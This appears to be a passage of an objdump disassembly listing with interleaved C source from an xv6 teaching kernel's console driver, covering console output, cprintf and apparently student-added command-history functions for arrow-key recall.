8010044f: b9 d5 03 00 00 mov $0x3d5,%ecx
80100454: 89 ca mov %ecx,%edx
80100456: ec in (%dx),%al
pos = inb(CRTPORT+1) << 8;
80100457: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010045a: 89 da mov %ebx,%edx
8010045c: c1 e0 08 shl $0x8,%eax
8010045f: 89 c7 mov %eax,%edi
80100461: b8 0f 00 00 00 mov $0xf,%eax
80100466: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100467: 89 ca mov %ecx,%edx
80100469: ec in (%dx),%al
8010046a: 0f b6 d8 movzbl %al,%ebx
pos |= inb(CRTPORT+1);
8010046d: 09 fb or %edi,%ebx
if(c == '\n')
8010046f: 83 fe 0a cmp $0xa,%esi
80100472: 0f 84 f3 00 00 00 je 8010056b <consputc+0x15b>
else if(c == BACKSPACE){
80100478: 81 fe 00 01 00 00 cmp $0x100,%esi
8010047e: 0f 84 d7 00 00 00 je 8010055b <consputc+0x14b>
crt[pos++] = (c&0xff) | 0x0700; // black on white
80100484: 89 f0 mov %esi,%eax
80100486: 0f b6 c0 movzbl %al,%eax
80100489: 80 cc 07 or $0x7,%ah
8010048c: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1)
80100493: 80
80100494: 83 c3 01 add $0x1,%ebx
if(pos < 0 || pos > 25*80)
80100497: 81 fb d0 07 00 00 cmp $0x7d0,%ebx
8010049d: 0f 8f ab 00 00 00 jg 8010054e <consputc+0x13e>
if((pos/80) >= 24){ // Scroll up.
801004a3: 81 fb 7f 07 00 00 cmp $0x77f,%ebx
801004a9: 7f 66 jg 80100511 <consputc+0x101>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801004ab: be d4 03 00 00 mov $0x3d4,%esi
801004b0: b8 0e 00 00 00 mov $0xe,%eax
801004b5: 89 f2 mov %esi,%edx
801004b7: ee out %al,(%dx)
801004b8: b9 d5 03 00 00 mov $0x3d5,%ecx
outb(CRTPORT+1, pos>>8);
801004bd: 89 d8 mov %ebx,%eax
801004bf: c1 f8 08 sar $0x8,%eax
801004c2: 89 ca mov %ecx,%edx
801004c4: ee out %al,(%dx)
801004c5: b8 0f 00 00 00 mov $0xf,%eax
801004ca: 89 f2 mov %esi,%edx
801004cc: ee out %al,(%dx)
801004cd: 89 d8 mov %ebx,%eax
801004cf: 89 ca mov %ecx,%edx
801004d1: ee out %al,(%dx)
crt[pos] = ' ' | 0x0700;
801004d2: b8 20 07 00 00 mov $0x720,%eax
801004d7: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1)
801004de: 80
}
801004df: 8d 65 f4 lea -0xc(%ebp),%esp
801004e2: 5b pop %ebx
801004e3: 5e pop %esi
801004e4: 5f pop %edi
801004e5: 5d pop %ebp
801004e6: c3 ret
uartputc('\b'); uartputc(' '); uartputc('\b');
801004e7: 83 ec 0c sub $0xc,%esp
801004ea: 6a 08 push $0x8
801004ec: e8 df 58 00 00 call 80105dd0 <uartputc>
801004f1: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004f8: e8 d3 58 00 00 call 80105dd0 <uartputc>
801004fd: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100504: e8 c7 58 00 00 call 80105dd0 <uartputc>
80100509: 83 c4 10 add $0x10,%esp
8010050c: e9 31 ff ff ff jmp 80100442 <consputc+0x32>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100511: 52 push %edx
80100512: 68 60 0e 00 00 push $0xe60
pos -= 80;
80100517: 83 eb 50 sub $0x50,%ebx
memmove(crt, crt+80, sizeof(crt[0])*23*80);
8010051a: 68 a0 80 0b 80 push $0x800b80a0
8010051f: 68 00 80 0b 80 push $0x800b8000
80100524: e8 e7 42 00 00 call 80104810 <memmove>
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100529: b8 80 07 00 00 mov $0x780,%eax
8010052e: 83 c4 0c add $0xc,%esp
80100531: 29 d8 sub %ebx,%eax
80100533: 01 c0 add %eax,%eax
80100535: 50 push %eax
80100536: 8d 04 1b lea (%ebx,%ebx,1),%eax
80100539: 6a 00 push $0x0
8010053b: 2d 00 80 f4 7f sub $0x7ff48000,%eax
80100540: 50 push %eax
80100541: e8 1a 42 00 00 call 80104760 <memset>
80100546: 83 c4 10 add $0x10,%esp
80100549: e9 5d ff ff ff jmp 801004ab <consputc+0x9b>
panic("pos under/overflow");
8010054e: 83 ec 0c sub $0xc,%esp
80100551: 68 05 72 10 80 push $0x80107205
80100556: e8 35 fe ff ff call 80100390 <panic>
if(pos > 0) --pos;
8010055b: 85 db test %ebx,%ebx
8010055d: 0f 84 48 ff ff ff je 801004ab <consputc+0x9b>
80100563: 83 eb 01 sub $0x1,%ebx
80100566: e9 2c ff ff ff jmp 80100497 <consputc+0x87>
pos += 80 - pos%80;
8010056b: 89 d8 mov %ebx,%eax
8010056d: b9 50 00 00 00 mov $0x50,%ecx
80100572: 99 cltd
80100573: f7 f9 idiv %ecx
80100575: 29 d1 sub %edx,%ecx
80100577: 01 cb add %ecx,%ebx
80100579: e9 19 ff ff ff jmp 80100497 <consputc+0x87>
8010057e: 66 90 xchg %ax,%ax
80100580 <printint>:
{
80100580: 55 push %ebp
80100581: 89 e5 mov %esp,%ebp
80100583: 57 push %edi
80100584: 56 push %esi
80100585: 53 push %ebx
80100586: 89 d3 mov %edx,%ebx
80100588: 83 ec 2c sub $0x2c,%esp
if(sign && (sign = xx < 0))
8010058b: 85 c9 test %ecx,%ecx
{
8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp)
if(sign && (sign = xx < 0))
80100590: 74 04 je 80100596 <printint+0x16>
80100592: 85 c0 test %eax,%eax
80100594: 78 5a js 801005f0 <printint+0x70>
x = xx;
80100596: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
i = 0;
8010059d: 31 c9 xor %ecx,%ecx
8010059f: 8d 75 d7 lea -0x29(%ebp),%esi
801005a2: eb 06 jmp 801005aa <printint+0x2a>
801005a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
buf[i++] = digits[x % base];
801005a8: 89 f9 mov %edi,%ecx
801005aa: 31 d2 xor %edx,%edx
801005ac: 8d 79 01 lea 0x1(%ecx),%edi
801005af: f7 f3 div %ebx
801005b1: 0f b6 92 30 72 10 80 movzbl -0x7fef8dd0(%edx),%edx
}while((x /= base) != 0);
801005b8: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
801005ba: 88 14 3e mov %dl,(%esi,%edi,1)
}while((x /= base) != 0);
801005bd: 75 e9 jne 801005a8 <printint+0x28>
if(sign)
801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax
801005c2: 85 c0 test %eax,%eax
801005c4: 74 08 je 801005ce <printint+0x4e>
buf[i++] = '-';
801005c6: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
801005cb: 8d 79 02 lea 0x2(%ecx),%edi
801005ce: 8d 5c 3d d7 lea -0x29(%ebp,%edi,1),%ebx
801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
consputc(buf[i]);
801005d8: 0f be 03 movsbl (%ebx),%eax
801005db: 83 eb 01 sub $0x1,%ebx
801005de: e8 2d fe ff ff call 80100410 <consputc>
while(--i >= 0)
801005e3: 39 f3 cmp %esi,%ebx
801005e5: 75 f1 jne 801005d8 <printint+0x58>
}
801005e7: 83 c4 2c add $0x2c,%esp
801005ea: 5b pop %ebx
801005eb: 5e pop %esi
801005ec: 5f pop %edi
801005ed: 5d pop %ebp
801005ee: c3 ret
801005ef: 90 nop
x = -xx;
801005f0: f7 d8 neg %eax
801005f2: eb a9 jmp 8010059d <printint+0x1d>
801005f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100600 <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100600: 55 push %ebp
80100601: 89 e5 mov %esp,%ebp
80100603: 57 push %edi
80100604: 56 push %esi
80100605: 53 push %ebx
80100606: 83 ec 18 sub $0x18,%esp
80100609: 8b 75 10 mov 0x10(%ebp),%esi
int i;
iunlock(ip);
8010060c: ff 75 08 pushl 0x8(%ebp)
8010060f: e8 5c 14 00 00 call 80101a70 <iunlock>
acquire(&cons.lock);
80100614: c7 04 24 60 a5 10 80 movl $0x8010a560,(%esp)
8010061b: e8 30 40 00 00 call 80104650 <acquire>
for(i = 0; i < n; i++)
80100620: 83 c4 10 add $0x10,%esp
80100623: 85 f6 test %esi,%esi
80100625: 7e 18 jle 8010063f <consolewrite+0x3f>
80100627: 8b 7d 0c mov 0xc(%ebp),%edi
8010062a: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010062d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100630: 0f b6 07 movzbl (%edi),%eax
80100633: 83 c7 01 add $0x1,%edi
80100636: e8 d5 fd ff ff call 80100410 <consputc>
for(i = 0; i < n; i++)
8010063b: 39 fb cmp %edi,%ebx
8010063d: 75 f1 jne 80100630 <consolewrite+0x30>
release(&cons.lock);
8010063f: 83 ec 0c sub $0xc,%esp
80100642: 68 60 a5 10 80 push $0x8010a560
80100647: e8 c4 40 00 00 call 80104710 <release>
ilock(ip);
8010064c: 58 pop %eax
8010064d: ff 75 08 pushl 0x8(%ebp)
80100650: e8 3b 13 00 00 call 80101990 <ilock>
return n;
}
80100655: 8d 65 f4 lea -0xc(%ebp),%esp
80100658: 89 f0 mov %esi,%eax
8010065a: 5b pop %ebx
8010065b: 5e pop %esi
8010065c: 5f pop %edi
8010065d: 5d pop %ebp
8010065e: c3 ret
8010065f: 90 nop
80100660 <cprintf>:
{
80100660: 55 push %ebp
80100661: 89 e5 mov %esp,%ebp
80100663: 57 push %edi
80100664: 56 push %esi
80100665: 53 push %ebx
80100666: 83 ec 1c sub $0x1c,%esp
locking = cons.locking;
80100669: a1 94 a5 10 80 mov 0x8010a594,%eax
if(locking)
8010066e: 85 c0 test %eax,%eax
locking = cons.locking;
80100670: 89 45 dc mov %eax,-0x24(%ebp)
if(locking)
80100673: 0f 85 6f 01 00 00 jne 801007e8 <cprintf+0x188>
if (fmt == 0)
80100679: 8b 45 08 mov 0x8(%ebp),%eax
8010067c: 85 c0 test %eax,%eax
8010067e: 89 c7 mov %eax,%edi
80100680: 0f 84 77 01 00 00 je 801007fd <cprintf+0x19d>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100686: 0f b6 00 movzbl (%eax),%eax
argp = (uint*)(void*)(&fmt + 1);
80100689: 8d 4d 0c lea 0xc(%ebp),%ecx
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
8010068c: 31 db xor %ebx,%ebx
argp = (uint*)(void*)(&fmt + 1);
8010068e: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100691: 85 c0 test %eax,%eax
80100693: 75 56 jne 801006eb <cprintf+0x8b>
80100695: eb 79 jmp 80100710 <cprintf+0xb0>
80100697: 89 f6 mov %esi,%esi
80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[++i] & 0xff;
801006a0: 0f b6 16 movzbl (%esi),%edx
if(c == 0)
801006a3: 85 d2 test %edx,%edx
801006a5: 74 69 je 80100710 <cprintf+0xb0>
801006a7: 83 c3 02 add $0x2,%ebx
switch(c){
801006aa: 83 fa 70 cmp $0x70,%edx
801006ad: 8d 34 1f lea (%edi,%ebx,1),%esi
801006b0: 0f 84 84 00 00 00 je 8010073a <cprintf+0xda>
801006b6: 7f 78 jg 80100730 <cprintf+0xd0>
801006b8: 83 fa 25 cmp $0x25,%edx
801006bb: 0f 84 ff 00 00 00 je 801007c0 <cprintf+0x160>
801006c1: 83 fa 64 cmp $0x64,%edx
801006c4: 0f 85 8e 00 00 00 jne 80100758 <cprintf+0xf8>
printint(*argp++, 10, 1);
801006ca: 8b 45 e4 mov -0x1c(%ebp),%eax
801006cd: ba 0a 00 00 00 mov $0xa,%edx
801006d2: 8d 48 04 lea 0x4(%eax),%ecx
801006d5: 8b 00 mov (%eax),%eax
801006d7: 89 4d e4 mov %ecx,-0x1c(%ebp)
801006da: b9 01 00 00 00 mov $0x1,%ecx
801006df: e8 9c fe ff ff call 80100580 <printint>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006e4: 0f b6 06 movzbl (%esi),%eax
801006e7: 85 c0 test %eax,%eax
801006e9: 74 25 je 80100710 <cprintf+0xb0>
801006eb: 8d 53 01 lea 0x1(%ebx),%edx
if(c != '%'){
801006ee: 83 f8 25 cmp $0x25,%eax
801006f1: 8d 34 17 lea (%edi,%edx,1),%esi
801006f4: 74 aa je 801006a0 <cprintf+0x40>
801006f6: 89 55 e0 mov %edx,-0x20(%ebp)
consputc(c);
801006f9: e8 12 fd ff ff call 80100410 <consputc>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006fe: 0f b6 06 movzbl (%esi),%eax
continue;
80100701: 8b 55 e0 mov -0x20(%ebp),%edx
80100704: 89 d3 mov %edx,%ebx
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100706: 85 c0 test %eax,%eax
80100708: 75 e1 jne 801006eb <cprintf+0x8b>
8010070a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(locking)
80100710: 8b 45 dc mov -0x24(%ebp),%eax
80100713: 85 c0 test %eax,%eax
80100715: 74 10 je 80100727 <cprintf+0xc7>
release(&cons.lock);
80100717: 83 ec 0c sub $0xc,%esp
8010071a: 68 60 a5 10 80 push $0x8010a560
8010071f: e8 ec 3f 00 00 call 80104710 <release>
80100724: 83 c4 10 add $0x10,%esp
}
80100727: 8d 65 f4 lea -0xc(%ebp),%esp
8010072a: 5b pop %ebx
8010072b: 5e pop %esi
8010072c: 5f pop %edi
8010072d: 5d pop %ebp
8010072e: c3 ret
8010072f: 90 nop
switch(c){
80100730: 83 fa 73 cmp $0x73,%edx
80100733: 74 43 je 80100778 <cprintf+0x118>
80100735: 83 fa 78 cmp $0x78,%edx
80100738: 75 1e jne 80100758 <cprintf+0xf8>
printint(*argp++, 16, 0);
8010073a: 8b 45 e4 mov -0x1c(%ebp),%eax
8010073d: ba 10 00 00 00 mov $0x10,%edx
80100742: 8d 48 04 lea 0x4(%eax),%ecx
80100745: 8b 00 mov (%eax),%eax
80100747: 89 4d e4 mov %ecx,-0x1c(%ebp)
8010074a: 31 c9 xor %ecx,%ecx
8010074c: e8 2f fe ff ff call 80100580 <printint>
break;
80100751: eb 91 jmp 801006e4 <cprintf+0x84>
80100753: 90 nop
80100754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
consputc('%');
80100758: b8 25 00 00 00 mov $0x25,%eax
8010075d: 89 55 e0 mov %edx,-0x20(%ebp)
80100760: e8 ab fc ff ff call 80100410 <consputc>
consputc(c);
80100765: 8b 55 e0 mov -0x20(%ebp),%edx
80100768: 89 d0 mov %edx,%eax
8010076a: e8 a1 fc ff ff call 80100410 <consputc>
break;
8010076f: e9 70 ff ff ff jmp 801006e4 <cprintf+0x84>
80100774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((s = (char*)*argp++) == 0)
80100778: 8b 45 e4 mov -0x1c(%ebp),%eax
8010077b: 8b 10 mov (%eax),%edx
8010077d: 8d 48 04 lea 0x4(%eax),%ecx
80100780: 89 4d e0 mov %ecx,-0x20(%ebp)
80100783: 85 d2 test %edx,%edx
80100785: 74 49 je 801007d0 <cprintf+0x170>
for(; *s; s++)
80100787: 0f be 02 movsbl (%edx),%eax
if((s = (char*)*argp++) == 0)
8010078a: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(; *s; s++)
8010078d: 84 c0 test %al,%al
8010078f: 0f 84 4f ff ff ff je 801006e4 <cprintf+0x84>
80100795: 89 5d e4 mov %ebx,-0x1c(%ebp)
80100798: 89 d3 mov %edx,%ebx
8010079a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801007a0: 83 c3 01 add $0x1,%ebx
consputc(*s);
801007a3: e8 68 fc ff ff call 80100410 <consputc>
for(; *s; s++)
801007a8: 0f be 03 movsbl (%ebx),%eax
801007ab: 84 c0 test %al,%al
801007ad: 75 f1 jne 801007a0 <cprintf+0x140>
if((s = (char*)*argp++) == 0)
801007af: 8b 45 e0 mov -0x20(%ebp),%eax
801007b2: 8b 5d e4 mov -0x1c(%ebp),%ebx
801007b5: 89 45 e4 mov %eax,-0x1c(%ebp)
801007b8: e9 27 ff ff ff jmp 801006e4 <cprintf+0x84>
801007bd: 8d 76 00 lea 0x0(%esi),%esi
consputc('%');
801007c0: b8 25 00 00 00 mov $0x25,%eax
801007c5: e8 46 fc ff ff call 80100410 <consputc>
break;
801007ca: e9 15 ff ff ff jmp 801006e4 <cprintf+0x84>
801007cf: 90 nop
s = "(null)";
801007d0: ba 18 72 10 80 mov $0x80107218,%edx
for(; *s; s++)
801007d5: 89 5d e4 mov %ebx,-0x1c(%ebp)
801007d8: b8 28 00 00 00 mov $0x28,%eax
801007dd: 89 d3 mov %edx,%ebx
801007df: eb bf jmp 801007a0 <cprintf+0x140>
801007e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&cons.lock);
801007e8: 83 ec 0c sub $0xc,%esp
801007eb: 68 60 a5 10 80 push $0x8010a560
801007f0: e8 5b 3e 00 00 call 80104650 <acquire>
801007f5: 83 c4 10 add $0x10,%esp
801007f8: e9 7c fe ff ff jmp 80100679 <cprintf+0x19>
panic("null fmt");
801007fd: 83 ec 0c sub $0xc,%esp
80100800: 68 1f 72 10 80 push $0x8010721f
80100805: e8 86 fb ff ff call 80100390 <panic>
8010080a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100810 <InsertNewCmd>:
{
80100810: 55 push %ebp
int i = input.w % INPUT_BUF , temp_cur = history.cmd_count % 5;
80100811: ba 67 66 66 66 mov $0x66666667,%edx
{
80100816: 89 e5 mov %esp,%ebp
80100818: 57 push %edi
80100819: 56 push %esi
8010081a: 53 push %ebx
8010081b: 83 ec 10 sub $0x10,%esp
int i = input.w % INPUT_BUF , temp_cur = history.cmd_count % 5;
8010081e: 8b 3d 34 a5 10 80 mov 0x8010a534,%edi
80100824: 8b 1d e4 ff 10 80 mov 0x8010ffe4,%ebx
memset(temp_buf[temp_cur] ,'\0' ,INPUT_BUF * sizeof(char));
8010082a: 68 80 00 00 00 push $0x80
8010082f: 6a 00 push $0x0
int i = input.w % INPUT_BUF , temp_cur = history.cmd_count % 5;
80100831: 89 f8 mov %edi,%eax
80100833: 83 e3 7f and $0x7f,%ebx
80100836: f7 ea imul %edx
80100838: 89 f8 mov %edi,%eax
8010083a: c1 f8 1f sar $0x1f,%eax
8010083d: d1 fa sar %edx
8010083f: 29 c2 sub %eax,%edx
80100841: 8d 04 92 lea (%edx,%edx,4),%eax
80100844: 29 c7 sub %eax,%edi
80100846: c1 e7 07 shl $0x7,%edi
memset(temp_buf[temp_cur] ,'\0' ,INPUT_BUF * sizeof(char));
80100849: 8d b7 00 00 11 80 lea -0x7fef0000(%edi),%esi
8010084f: 56 push %esi
80100850: e8 0b 3f 00 00 call 80104760 <memset>
while( i != ((input.e - 1)%INPUT_BUF)){
80100855: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
8010085a: 83 c4 10 add $0x10,%esp
int j = 0;
8010085d: 31 d2 xor %edx,%edx
while( i != ((input.e - 1)%INPUT_BUF)){
8010085f: 83 e8 01 sub $0x1,%eax
80100862: 83 e0 7f and $0x7f,%eax
80100865: 39 d8 cmp %ebx,%eax
80100867: 74 22 je 8010088b <InsertNewCmd+0x7b>
80100869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
temp_buf[temp_cur][j] = input.buf[i];
80100870: 0f b6 8b 60 ff 10 80 movzbl -0x7fef00a0(%ebx),%ecx
i = (i + 1) % INPUT_BUF;
80100877: 83 c3 01 add $0x1,%ebx
8010087a: 83 e3 7f and $0x7f,%ebx
temp_buf[temp_cur][j] = input.buf[i];
8010087d: 88 8c 17 00 00 11 80 mov %cl,-0x7fef0000(%edi,%edx,1)
j++;
80100884: 83 c2 01 add $0x1,%edx
while( i != ((input.e - 1)%INPUT_BUF)){
80100887: 39 c3 cmp %eax,%ebx
80100889: 75 e5 jne 80100870 <InsertNewCmd+0x60>
8010088b: b8 20 a5 10 80 mov $0x8010a520,%eax
history.PervCmd[i] = history.PervCmd[i-1];
80100890: 8b 48 0c mov 0xc(%eax),%ecx
80100893: 83 e8 04 sub $0x4,%eax
80100896: 89 48 14 mov %ecx,0x14(%eax)
history.size[i] = history.size[i-1];
80100899: 8b 48 2c mov 0x2c(%eax),%ecx
8010089c: 89 48 30 mov %ecx,0x30(%eax)
for(int i = 4 ; i > 0 ; i--){
8010089f: 3d 10 a5 10 80 cmp $0x8010a510,%eax
801008a4: 75 ea jne 80100890 <InsertNewCmd+0x80>
history.PervCmd[0] = temp_buf[temp_cur];
801008a6: 89 35 20 a5 10 80 mov %esi,0x8010a520
history.size[0] = j;
801008ac: 89 15 3c a5 10 80 mov %edx,0x8010a53c
}
801008b2: 8d 65 f4 lea -0xc(%ebp),%esp
801008b5: 5b pop %ebx
801008b6: 5e pop %esi
801008b7: 5f pop %edi
801008b8: 5d pop %ebp
801008b9: c3 ret
801008ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801008c0 <killLine>:
while(input.e != input.w &&
801008c0: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
801008c5: 3b 05 e4 ff 10 80 cmp 0x8010ffe4,%eax
801008cb: 74 53 je 80100920 <killLine+0x60>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
801008cd: 83 e8 01 sub $0x1,%eax
801008d0: 89 c2 mov %eax,%edx
801008d2: 83 e2 7f and $0x7f,%edx
while(input.e != input.w &&
801008d5: 80 ba 60 ff 10 80 0a cmpb $0xa,-0x7fef00a0(%edx)
801008dc: 74 42 je 80100920 <killLine+0x60>
{
801008de: 55 push %ebp
801008df: 89 e5 mov %esp,%ebp
801008e1: 83 ec 08 sub $0x8,%esp
801008e4: eb 1b jmp 80100901 <killLine+0x41>
801008e6: 8d 76 00 lea 0x0(%esi),%esi
801008e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
801008f0: 83 e8 01 sub $0x1,%eax
801008f3: 89 c2 mov %eax,%edx
801008f5: 83 e2 7f and $0x7f,%edx
while(input.e != input.w &&
801008f8: 80 ba 60 ff 10 80 0a cmpb $0xa,-0x7fef00a0(%edx)
801008ff: 74 1c je 8010091d <killLine+0x5d>
input.e--;
80100901: a3 e8 ff 10 80 mov %eax,0x8010ffe8
consputc(BACKSPACE);
80100906: b8 00 01 00 00 mov $0x100,%eax
8010090b: e8 00 fb ff ff call 80100410 <consputc>
while(input.e != input.w &&
80100910: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
80100915: 3b 05 e4 ff 10 80 cmp 0x8010ffe4,%eax
8010091b: 75 d3 jne 801008f0 <killLine+0x30>
}
8010091d: c9 leave
8010091e: c3 ret
8010091f: 90 nop
80100920: f3 c3 repz ret
80100922: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100929: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100930 <fillBuf>:
{
80100930: 55 push %ebp
80100931: 89 e5 mov %esp,%ebp
80100933: 56 push %esi
80100934: 53 push %ebx
killLine();
80100935: e8 86 ff ff ff call 801008c0 <killLine>
for(int i = 0; i < history.size[history.cursor] ; i++)
8010093a: a1 38 a5 10 80 mov 0x8010a538,%eax
8010093f: 8b 1c 85 3c a5 10 80 mov -0x7fef5ac4(,%eax,4),%ebx
80100946: 85 db test %ebx,%ebx
80100948: 7e 32 jle 8010097c <fillBuf+0x4c>
input.buf[input.e++ % INPUT_BUF] = history.PervCmd[history.cursor][i];
8010094a: 8b 34 85 20 a5 10 80 mov -0x7fef5ae0(,%eax,4),%esi
80100951: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
80100956: 01 c3 add %eax,%ebx
80100958: 29 c6 sub %eax,%esi
8010095a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100960: 8d 50 01 lea 0x1(%eax),%edx
80100963: 89 15 e8 ff 10 80 mov %edx,0x8010ffe8
80100969: 0f b6 0c 30 movzbl (%eax,%esi,1),%ecx
8010096d: 83 e0 7f and $0x7f,%eax
for(int i = 0; i < history.size[history.cursor] ; i++)
80100970: 39 da cmp %ebx,%edx
input.buf[input.e++ % INPUT_BUF] = history.PervCmd[history.cursor][i];
80100972: 88 88 60 ff 10 80 mov %cl,-0x7fef00a0(%eax)
80100978: 89 d0 mov %edx,%eax
for(int i = 0; i < history.size[history.cursor] ; i++)
8010097a: 75 e4 jne 80100960 <fillBuf+0x30>
}
8010097c: 5b pop %ebx
8010097d: 5e pop %esi
8010097e: 5d pop %ebp
8010097f: c3 ret
80100980 <IncCursor>:
if (history.cursor == 4)
80100980: 8b 0d 38 a5 10 80 mov 0x8010a538,%ecx
{
80100986: 55 push %ebp
80100987: 89 e5 mov %esp,%ebp
if (history.cursor == 4)
80100989: 83 f9 04 cmp $0x4,%ecx
8010098c: 74 2a je 801009b8 <IncCursor+0x38>
history.cursor = (history.cursor + 1) % 5;
8010098e: 83 c1 01 add $0x1,%ecx
80100991: ba 67 66 66 66 mov $0x66666667,%edx
80100996: 89 c8 mov %ecx,%eax
80100998: f7 ea imul %edx
8010099a: 89 c8 mov %ecx,%eax
8010099c: c1 f8 1f sar $0x1f,%eax
8010099f: d1 fa sar %edx
801009a1: 29 c2 sub %eax,%edx
801009a3: 8d 04 92 lea (%edx,%edx,4),%eax
801009a6: 29 c1 sub %eax,%ecx
if ( history.cursor == history.cmd_count)
801009a8: 3b 0d 34 a5 10 80 cmp 0x8010a534,%ecx
history.cursor = (history.cursor + 1) % 5;
801009ae: 89 ca mov %ecx,%edx
801009b0: 89 0d 38 a5 10 80 mov %ecx,0x8010a538
if ( history.cursor == history.cmd_count)
801009b6: 74 08 je 801009c0 <IncCursor+0x40>
}
801009b8: 5d pop %ebp
801009b9: c3 ret
801009ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
history.cursor = history.cmd_count - 1;
801009c0: 83 ea 01 sub $0x1,%edx
801009c3: 89 15 38 a5 10 80 mov %edx,0x8010a538
}
801009c9: 5d pop %ebp
801009ca: c3 ret
801009cb: 90 nop
801009cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801009d0 <DecCursor>:
if ( history.cursor < 0)
801009d0: a1 38 a5 10 80 mov 0x8010a538,%eax
{
801009d5: 55 push %ebp
801009d6: 89 e5 mov %esp,%ebp
if ( history.cursor < 0)
801009d8: 85 c0 test %eax,%eax
801009da: 78 08 js 801009e4 <DecCursor+0x14>
history.cursor = history.cursor - 1;
801009dc: 83 e8 01 sub $0x1,%eax
801009df: a3 38 a5 10 80 mov %eax,0x8010a538
}
801009e4: 5d pop %ebp
801009e5: c3 ret
801009e6: 8d 76 00 lea 0x0(%esi),%esi
801009e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801009f0 <printInput>:
{
801009f0: 55 push %ebp
801009f1: 89 e5 mov %esp,%ebp
801009f3: 53 push %ebx
801009f4: 83 ec 04 sub $0x4,%esp
int i = input.w % INPUT_BUF;
801009f7: 8b 1d e4 ff 10 80 mov 0x8010ffe4,%ebx
801009fd: eb 10 jmp 80100a0f <printInput+0x1f>
801009ff: 90 nop
consputc(input.buf[i]);
80100a00: 0f be 83 60 ff 10 80 movsbl -0x7fef00a0(%ebx),%eax
i = (i + 1) % INPUT_BUF;
80100a07: 83 c3 01 add $0x1,%ebx
consputc(input.buf[i]);
80100a0a: e8 01 fa ff ff call 80100410 <consputc>
while( i != (input.e % INPUT_BUF)){
80100a0f: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
int i = input.w % INPUT_BUF;
80100a14: 83 e3 7f and $0x7f,%ebx
while( i != (input.e % INPUT_BUF)){
80100a17: 83 e0 7f and $0x7f,%eax
80100a1a: 39 d8 cmp %ebx,%eax
80100a1c: 75 e2 jne 80100a00 <printInput+0x10>
}
80100a1e: 83 c4 04 add $0x4,%esp
80100a21: 5b pop %ebx
80100a22: 5d pop %ebp
80100a23: c3 ret
80100a24: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100a2a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100a30 <KeyDownPressed.part.0>:
if (history.cursor == -1){
80100a30: a1 38 a5 10 80 mov 0x8010a538,%eax
80100a35: 83 f8 ff cmp $0xffffffff,%eax
80100a38: 74 1e je 80100a58 <KeyDownPressed.part.0+0x28>
KeyDownPressed()
80100a3a: 55 push %ebp
80100a3b: 89 e5 mov %esp,%ebp
80100a3d: 83 ec 08 sub $0x8,%esp
if ( history.cursor < 0)
80100a40: 85 c0 test %eax,%eax
80100a42: 78 08 js 80100a4c <KeyDownPressed.part.0+0x1c>
history.cursor = history.cursor - 1;
80100a44: 83 e8 01 sub $0x1,%eax
80100a47: a3 38 a5 10 80 mov %eax,0x8010a538
fillBuf();
80100a4c: e8 df fe ff ff call 80100930 <fillBuf>
}
80100a51: c9 leave
printInput();
80100a52: eb 9c jmp 801009f0 <printInput>
80100a54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
killLine();
80100a58: e9 63 fe ff ff jmp 801008c0 <killLine>
80100a5d: 8d 76 00 lea 0x0(%esi),%esi
80100a60 <KeyUpPressed>:
{
